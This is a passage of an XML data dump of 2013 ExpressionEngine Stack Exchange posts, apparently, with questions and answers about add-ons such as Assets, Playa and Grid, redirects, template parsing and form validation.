bought and looked at Publisher which looks like a really good, extensive and profound solution to me, also having a workflow solution on board which could come in handy if content for articles will be entered and edited by a team (this feature can also be activated by itself).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, like I said I think it can become tricky and tedious in the long run to maintain all different language versions. Sure, the CP is no problem. All the channel entries can also be managed good with Publisher, Phrases and the such with Low Variables. At the moment I am not sure on how to handle (client/visitor) error messages the best. I also believe that running a webiste in another language, especially an ecommerce site should be hosted at a native url for best Google/SEO results. Also think about the Google Shopping Feeds that need to be targeted specifically for each language/country you want to operate in. What about User Comments/Ratings? How to best handle those for each language? What about product(images)? Maybe you want to show explanatory text IN the image or as a title underneath the picture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I also believe that - let's say a customer from France is always more compelled to click on a link like domain.fr than on a domain like domain.com/fr or even worse (like in our case) domain.de/fr.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also this hard-seperation-approach will give you the opportunity to target products/bundles whatever tailored to a countries audience. Maybe you have products that just don't or can't be selled in a country (eg by law). You couldn't simply set an entry to closed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if you are going the whole nine yards it would probably a good consideration to also seperate the sites serverwise. This would distribute the risk of downtimes or worse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh, there is another caveat: I haven't found a smart way to deliver language specific purchase and product shipped email notifications for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Yup, that's pretty much it at the moment. I am aware that this approach comes with doubled licence and probably servercosts and with more work probaly too. Using Focus Labs Master Config and Git should cut down on the workload, though.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditDate="2013-09-09T10:37:42.027" LastActivityDate="2013-09-09T10:37:42.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13575" PostTypeId="1" CreationDate="2013-09-08T12:57:03.347" Score="3" ViewCount="1003" Body="&lt;ul&gt;&#xA;&lt;li&gt;Assets is the only thirdparty module/filedtype installed.&lt;/li&gt;&#xA;&lt;li&gt;Native cache folder are 777.&lt;/li&gt;&#xA;&lt;li&gt;File upload directory is working and uploads images correctly.&lt;/li&gt;&#xA;&lt;li&gt;Assets shows no folder at all. But if I upload one image AFTER installing Assets the folder shows up.&lt;/li&gt;&#xA;&lt;li&gt;When trying to upload one image to the visible folder I get error message as follows: &lt;strong&gt;&quot;Could not upload the file - server returned an unexpected response. Please check the server settings.&quot;&lt;/strong&gt; &lt;/li&gt;&#xA;&lt;li&gt;The status bar shows full process is done but there is no images.&lt;/li&gt;&#xA;&lt;li&gt;When trying to update the button goes &quot;blank&quot; and no result is shown.&lt;/li&gt;&#xA;&lt;li&gt;Assets now has created two cache folders in &quot;cache &gt; assets tmp_storage&quot; and they  are both 777. But no images ...&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;... ANYONE? &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Versions&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Assets 2.1.4 &lt;/li&gt;&#xA;&lt;li&gt;EE 2.7.0 &lt;/li&gt;&#xA;&lt;li&gt;PHP Version 5.3.10-1ubuntu3.8&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2022" LastEditorUserId="69" LastEditDate="2013-10-26T02:37:23.983" LastActivityDate="2014-01-13T13:49:54.327" Title="Assets 2.1.4 strange behaviour: &quot;Could not upload the file ... &quot;" Tags="|assets|database|error|image|2.7.0|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="13576" PostTypeId="1" AcceptedAnswerId="13579" CreationDate="2013-09-08T13:30:41.150" Score="1" ViewCount="63" Body="&lt;p&gt;Is it possible to make a Playa field show you additional options to help choose an entry from the Playa pane? I've got a situation where there's lots of entries on a site with the same titles (blog posts and user-submitted image galleries), so it makes it difficult to pick the correct entry. See the screenshot below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WKnfs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally, I'd like to be able to choose which columns are shown in the list alongside title, in a similar way to how you can choose the columns when viewing an Assets field in list mode. If that wasn't possible, then even being able to see the title and entry id in a title tag when hovering over the entry title would be better than nothing and save the trial and error of picking, saving, testing, and repeating, in order to get the correct entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've looked in the various Playa settings and can't see any way to do this, so this may turn into a feature request. But I thought I'd post here first in case I was missing something, or if there was a config override that I wasn't aware of that might allow something like this (like magic ;-)), thanks.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-09-08T19:10:23.813" Title="Is it possible to customise columns that are shown in a Playa pane?" Tags="|playa|pixelandtonic|publish-layout|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13577" PostTypeId="2" ParentId="13536" CreationDate="2013-09-08T14:49:20.640" Score="1" Body="&lt;p&gt;Ah, right. So I think you need Geocoder, which does exactly what you want. You can simply omit the Google Map field on the front-end, and have Geocoder plot the address for you after the form has submitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://objectivehtml.com/geocoder&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/geocoder&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-09-08T14:49:20.640" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13578" PostTypeId="1" AcceptedAnswerId="13587" CreationDate="2013-09-08T14:58:58.900" Score="1" ViewCount="111" Body="&lt;p&gt;Does anyone know if the Custom System Messages add-on is compatible with Solspace User?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to set an error template in the CSM interface (Register Member (On Error) for example) it does not seem to work since I'm using the register tag from Solspace User.&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2013-09-09T06:50:37.333" Title="CSM &amp; Solspace User" Tags="|solspace-user|custom-system-messages|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13579" PostTypeId="2" ParentId="13576" CreationDate="2013-09-08T19:10:23.813" Score="3" Body="&lt;p&gt;I've hacked Playa before to do this same thing. Just modify /playa/views/entry.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using version 4.3.3, I added the &lt;code&gt;entry_id&lt;/code&gt; for each entry like this in line 2 of entry.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Original:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;a&amp;gt;&#xA;     &amp;lt;span class=&quot;playa-entry-status &amp;lt;?=str_replace(' ', '_',$entry-&amp;gt;status)?&amp;gt;&quot;&amp;gt;&amp;amp;bull;&amp;lt;/span&amp;gt;&#xA;     &amp;lt;?=$entry-&amp;gt;title?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Modified:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   &amp;lt;a&amp;gt;&#xA;     &amp;lt;span class=&quot;playa-entry-status &amp;lt;?=str_replace(' ', '_',$entry-&amp;gt;status)?&amp;gt;&quot;&amp;gt;&amp;amp;bull;&amp;lt;/span&amp;gt;&#xA;     &amp;lt;?=$entry-&amp;gt;entry_id?&amp;gt; - &amp;lt;?=$entry-&amp;gt;title?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just remember to reapply this if you update Playa in the future.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-09-08T19:10:23.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13580" PostTypeId="1" CreationDate="2013-09-08T21:40:40.973" Score="1" ViewCount="145" Body="&lt;p&gt;I am using Google Maps for ExpressionEngine for a store locator but need to build some additional functionality for a small area on my home page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to show the closest store location on a map using the visitor's current location and also list out the details of the closest store (title, address, distance from closest location, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google Maps for ExpressionEngine does not do this out of the box and I'm unsure how to achieve this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know the {exp:gmap:current_location} tag will draw out a map with the visitor's location, but I don't know how to get the rest to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;" OwnerUserId="434" LastActivityDate="2013-09-08T21:40:40.973" Title="Closest location using Google Maps for ExpressionEngine" Tags="|google-maps-for-ee|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13581" PostTypeId="1" AcceptedAnswerId="14676" CreationDate="2013-09-09T01:04:17.957" Score="1" ViewCount="60" Body="&lt;p&gt;According to this &lt;a href=&quot;http://ellislab.com/blog/entry/2.7-grid-ready-addons&quot; rel=&quot;nofollow&quot;&gt;blog post&lt;/a&gt;, MX Lone Star is supposed to work with Grid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I tried changing a field's fieldtype to Grid and set one of the columns to the fieldtype MX Lone Star, I did not see it in the options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already checked the Fieldtypes page and saw that it was already installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why this is the case?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-10-17T17:40:51.140" Title="MX Lone Star not showing in Grid field options" Tags="|2.7.0|mx-lone-star|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13582" PostTypeId="1" CreationDate="2013-09-09T01:52:47.167" Score="3" ViewCount="1531" Body="&lt;p&gt;I have a field(let's call it &lt;code&gt;foo&lt;/code&gt;) with the Grid Fieldtype.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have conditional to check if &lt;code&gt;foo&lt;/code&gt; is greater than 0 or not&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now here is the problem. It seems to me that when I only have 1 row in &lt;code&gt;foo&lt;/code&gt;, &lt;code&gt;{foo:total_rows}&lt;/code&gt; returns nothing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried adding another row. This time &lt;code&gt;{foo:total_rows}&lt;/code&gt; returns 2. It is the same thing with 3, 4, etc. Basically anything greater than 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This shouldn't be the case. If there is only 1 row, it should return 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would to point out that the &lt;code&gt;foo&lt;/code&gt; field is in a Channel with multiple Grid fieldtypes. It also has a relationship fieldtype for one of its columns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have another Grid field in that channel but without a realationship fieldtype for one of its columns. It is working correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why this is happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried out this code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;h3&amp;gt;field_total_rows {foo:field_total_rows}&amp;lt;/h3&amp;gt;&#xA;&amp;lt;h3&amp;gt;total_rows {foo:total_rows}&amp;lt;/h3&amp;gt;&#xA;&#xA;{foo}&#xA;    &amp;lt;h3&amp;gt;loop field_total_rows {foo:field_total_rows}&amp;lt;/h3&amp;gt;&#xA;    &amp;lt;h3&amp;gt;loop total_rows {foo:total_rows}&amp;lt;/h3&amp;gt;&#xA;{/foo}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output when the field contains only 1 row&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;field_total_rows&#xA;total_rows&#xA;loop field_total_rows 1&#xA;loop total_rows 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Output when the field contains 2 rows&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;field_total_rows&#xA;total_rows 2&#xA;loop field_total_rows 2&#xA;loop total_rows 2&#xA;loop field_total_rows 2&#xA;loop total_rows 2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Does this mean that the &lt;code&gt;total_rows&lt;/code&gt; and &lt;code&gt;field_total_rows&lt;/code&gt; can only be accessed inside the loop?&lt;/li&gt;&#xA;&lt;li&gt;Why does the total rows variable only appear if it is greater than 1?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-09-09T02:21:20.100" LastActivityDate="2014-09-02T14:59:29.880" Title="Grid {field:total rows} is not returning correct value" Tags="|2.7.0|grid|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13583" PostTypeId="1" AcceptedAnswerId="13584" CreationDate="2013-09-09T02:13:06.067" Score="2" ViewCount="369" Body="&lt;p&gt;I updated EE from 2.2.2 to 2.7 core and moved the site to a subdomain called ee.mydomain.com. I changed the URL in config.php and in Admin/General Configuration, and admin works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I try to view a page in the template editor or the site as a whole, all I get is the error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;Unable to load requested field type file: ft.wygwam.php.&#xA;&#xA;Confirm the fieldtype file is located in the expressionengine/third_party/ directory&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm not using the Wygwam add-on and never have. The system/expressionengine/third_party folder is empty except for an index.html file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setting the debug flag in main site index.php shows no errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it matters, I have this in .htaccess, but it makes no difference with it or without it when viewing the site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;    RewriteEngine On&#xA;    RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any ideas? How can I delete references to the ft.wygwam.php file? Are they in the database?&lt;/p&gt;&#xA;" OwnerUserId="2018" LastEditorUserId="2018" LastEditDate="2013-09-09T02:19:37.467" LastActivityDate="2013-09-09T02:54:28.637" Title="I’m not using the add-on, but the error is “Unable to load requested field type file: ft.wygwam.php.”" Tags="|add-on|templates|fieldtype|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13584" PostTypeId="2" ParentId="13583" CreationDate="2013-09-09T02:54:28.637" Score="3" Body="&lt;p&gt;It seems that WYGWAM was installed previously and still having record in database table. Check the database table &quot;exp_fieldtypes&quot; if having any record with field &quot;name&quot; as WYGWAM. You can delete that record.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, there may be some custom fields which may be using WYGWAM field type. You might check it also.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-09-09T02:54:28.637" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13585" PostTypeId="1" AcceptedAnswerId="13586" CreationDate="2013-09-09T03:51:51.193" Score="5" ViewCount="2719" Body="&lt;p&gt;Is there a way to get the total number of items chosen in a multiple relationships field?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2015-11-03T09:12:22.490" Title="Relationship field entries total count" Tags="|relationships|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13586" PostTypeId="2" ParentId="13585" CreationDate="2013-09-09T06:13:20.140" Score="10" Body="&lt;p&gt;Did you try this tag:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{relationship_field:total_results}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;xyz&quot;}&#xA;        {relationship_field}&#xA;           {relationship_field:total_results}&#xA;        {/relationship_field}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-09-09T06:13:20.140" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13587" PostTypeId="2" ParentId="13578" CreationDate="2013-09-09T06:50:37.333" Score="0" Body="&lt;p&gt;We had a miscommunication on a deprecated error function for ExpressionEngine 2.6, and subsequently switched all of our addons to use CodeIgniter's built in error function, which does not work with CSM, instead of EE's built in output error, which CSM uses to redefine its errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have looked deeper into the issue and realized our error and will be moving back to the CMS compatible error format on each next release of each of our addons.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2013-09-09T06:50:37.333" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13588" PostTypeId="1" AcceptedAnswerId="14428" CreationDate="2013-09-09T07:11:32.677" Score="1" ViewCount="340" Body="&lt;p&gt;I recently upgraded from version 2.5.5 to 2.7.0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make my forms updated to the current version, I changed forms which uses the &lt;code&gt;{exp:safecracker}&lt;/code&gt; tag to &lt;code&gt;{exp:channel:form}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I did, however, the markup inside the tags shows does not show at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something I am missing here on why they are not showing at all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using Safecracker Registration btw, but I am not sure if that is the factor.&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-10-09T05:31:20.587" Title="Changing Safecracker to Channel Form tag results in no form output" Tags="|safecracker|channel|safecracker-registration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13589" PostTypeId="1" AcceptedAnswerId="13590" CreationDate="2013-09-09T09:54:22.110" Score="2" ViewCount="9066" Body="&lt;p&gt;I've got a client who wants to use short URLs of dynamic entries for marketing literature&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So clientdomain.com/events/event-type/full-event-name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would be clientdomain.com/short-event-name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been setting up redirects manually within the htaccess file, but does anyone know of a better way? I can see several plugins to do it but can anyone recommend one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="2024" LastActivityDate="2013-09-09T14:16:39.980" Title="Setting up page redirects" Tags="|redirects|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13590" PostTypeId="2" ParentId="13589" CreationDate="2013-09-09T11:36:43.453" Score="3" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/detour-pro&quot; rel=&quot;nofollow&quot;&gt;Detour Pro&lt;/a&gt; is an option for this, especially since it provides you with a bit of reporting on each URL redirect. However, it's meant as an alternative to doing 301 and 302 redirects in htaccess - not sure if it would be the best option for URL shortening.  Another option is &lt;a href=&quot;http://devot-ee.com/add-ons/dm-shortee&quot; rel=&quot;nofollow&quot;&gt;DM Shortee&lt;/a&gt;, which is more strictly a URL shortening service and not a redirect tool (same effect to the user, but potentially different effect from a search engine perspective).&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-09-09T11:36:43.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13591" PostTypeId="2" ParentId="13589" CreationDate="2013-09-09T11:44:15.270" Score="0" Body="&lt;p&gt;I don't think there would be need for URL redirects if you can create such type of URLs for dynamic entries.&#xA;If so you might use &lt;a href=&quot;http://buildwithstructure.com/&quot; rel=&quot;nofollow&quot;&gt;Structure&lt;/a&gt; or EE's &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/pages/&quot; rel=&quot;nofollow&quot;&gt;Pages&lt;/a&gt; module and submit the URLs of your preference while editing/publishing an entry.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-09-09T11:44:15.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13592" PostTypeId="1" CreationDate="2013-09-09T12:26:45.107" Score="0" ViewCount="152" Body="&lt;p&gt;I'm trying to parse a global variable inside a snippet that represents my page footer, and I want to perform a string function on the content of that variable.&#xA;The snippet is being called into a template with PHP parsing ON and set to OUTPUT.&#xA;This is the code I'm having trouble with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo trim(str_replace(array(&quot;\r\n&quot;,&quot;\n&quot;,&quot;\r&quot;), ', ', &quot;{address}&quot;)); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The value of the variable is (for example):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Big Company&#xA;Main Street&#xA;Big Town&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I want it to be:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Big Company, Main Street, Big Town&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But PHP is trying to modify the string &quot;{address}&quot; not the actual value of the address variable, so I just end up with the original content (address with line breaks) when the EE parses the result of that function which is {address} in the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.6.1&lt;/p&gt;&#xA;" OwnerUserId="1927" LastActivityDate="2013-09-09T14:33:30.303" Title="Wrong PHP parsing order in snippet" Tags="|php|snippets|parse|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13593" PostTypeId="2" ParentId="13592" CreationDate="2013-09-09T13:42:54.370" Score="1" Body="&lt;p&gt;This is because user-defined global variables are parsed very late - after PHP on input, after all module and plugin tags, and even after PHP on output (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/template_engine.html#rendering-stages&quot; rel=&quot;nofollow&quot;&gt;see parse order&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your best bet here is to write a simple plugin which fetches the global variable directly from the database, does its work, then returns it.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-09-09T13:42:54.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13594" PostTypeId="2" ParentId="13589" CreationDate="2013-09-09T14:04:57.860" Score="0" Body="&lt;p&gt;Because you can't set the redirect to 301, on the default redirect variable, you should use a mix of query module and php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To keep the code more manageable, I gonna add one segment to your short URL. Let's say, &quot;s&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;clientdomain.com/s/short-event-name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set a short domain to use the same directory folder, if you want to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;doma.in/s/short-event-name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the index.html of the directory &quot;s&quot;, set the PHP parsing to output.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say, your short-event-name has the field_id 10.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query&#xA;sql=&quot;&#xA;    SELECT exp_channel_data.entry_id, exp_channel_titles.url_title&#xA;    FROM exp_channel_data&#xA;    JOIN exp_channel_titles on exp_channel_data.entry_id = exp_channel_titles.entry_id&#xA;    WHERE field_id_10 = &quot;{segment_2}&quot;&#xA;    LIMIT 1;&quot;&#xA;require_entry=&quot;yes&quot;&#xA;}&#xA;    {if no_results OR segment_3}&#xA;        {redirect=&quot;404&quot;}&#xA;    {/if}&#xA;&amp;lt;?php&#xA;$permalink = 'http://clientdomain.com/events/event-type/{url_title}';&#xA;&#xA;//  header('Status: 301 Moved Permanently',false,301); //enable this line after test&#xA;//  header('Location: '.$permalink);  //enable this line after test&#xA;    echo('{entry_id}');  // comment this line after test&#xA;    echo('Location: '.$permalink); // comment this line after test&#xA;    die(); //comment this line after test&#xA;?&amp;gt;&#xA;{/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can have conditionals and to use the &lt;code&gt;{channel_url}&lt;/code&gt; URL to create short links to all channels. I use to create mine as &lt;code&gt;shortdoma.in/s/entry_id&lt;/code&gt;, to avoid the risk of duplicated &lt;code&gt;short_url_titles&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-09-09T14:04:57.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13595" PostTypeId="2" ParentId="13589" CreationDate="2013-09-09T14:10:16.223" Score="0" Body="&lt;p&gt;For a simple solution I recommend using the Pages module in conjunction with a &quot;Redirects&quot; Channel. The Pages module will allow you to create an entry with whatever URI you want to &quot;listen&quot; for and redirect. The entry will store the URL you want to redirect &lt;em&gt;to&lt;/em&gt; in a custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) Set up your Redirects channel with a custom field to hold the URL to redirect &lt;em&gt;to&lt;/em&gt; (eg &lt;code&gt;redirect_url&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Create a redirect template (I use &lt;code&gt;pages.group/_redirect.html&lt;/code&gt;, but name it what you like). Set it as the default Pages module template for entries in this channel and add the following to it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;redirects&quot;&#xA;    disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot;&#xA;}&#xA;&#xA;    {exp:http_header status=&quot;301&quot; location=&quot;{redirect_url}&quot; terminate=&quot;yes&quot;}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This method uses the &lt;a href=&quot;http://devot-ee.com/add-ons/http-header&quot; rel=&quot;nofollow&quot;&gt;HTTP Header&lt;/a&gt; add-on to handle the redirect. It works great with a redirect URI string (more useful since it is portable across environments) &lt;em&gt;or&lt;/em&gt; a URL.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2013-09-09T14:16:39.980" LastActivityDate="2013-09-09T14:16:39.980" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="13596" PostTypeId="2" ParentId="13592" CreationDate="2013-09-09T14:33:30.303" Score="2" Body="&lt;p&gt;You can fetch that global variable like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$address = ee()-&amp;gt;db-&amp;gt;select('variable_data')-&amp;gt;where('variable_name', 'address')-&amp;gt;get('global_variables')-&amp;gt;row('variable_data');&#xA;echo trim(str_replace(array(&quot;\r\n&quot;,&quot;\n&quot;,&quot;\r&quot;), ', ', $address));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It would work for you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-09-09T14:33:30.303" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13597" PostTypeId="1" AcceptedAnswerId="13602" CreationDate="2013-09-09T14:49:46.500" Score="1" ViewCount="1337" Body="&lt;p&gt;I am building a module for EE2 and I want to extend CI's form validation library. I also want a separate language file too, kept within my module's directory so it's separate from future EE updates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a libraries folder within my module's folder within the third_party folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I named the file: My_Form_validation.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php defined('BASEPATH') OR exit('No direct script access allowed');&#xA;&#xA;class MY_Form_validation extends CI_Form_validation {&#xA;&#xA;    /**&#xA;     * Constructor&#xA;     *&#xA;     * @access  public&#xA;     */ &#xA;    function __construct($rules = array())&#xA;    {   &#xA;        parent::__construct($rules);&#xA;    }&#xA;&#xA;    public function is_valid($value)&#xA;    {&#xA;        $this-&amp;gt;form_validation-&amp;gt;set_message('is_valid', 'The %s field can not contain any spaces');&#xA;        return FALSE;&#xA;    }&#xA;}&#xA;&#xA;$this-&amp;gt;EE-&amp;gt;form_validation-&amp;gt;set_rules('short_name', 'Short name', 'required|max_length[30]|is_valid');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I set the rule in the mcp.module_name.php file, I also swapped out $this-&gt;EE-&gt;form_validation... with $this-&gt;CI-&gt;form_validation and nothing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it is not erroring out, it just doesn't seem like it is loading it correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried loading the my form validation library in the mcp.module_name.php constructor and it returns this error: Fatal error: Class 'CI_Form_validation' not found&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I shouldn't have to load it since it should load along with the default form validation library.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is my constructor for the mcp.module_name.php 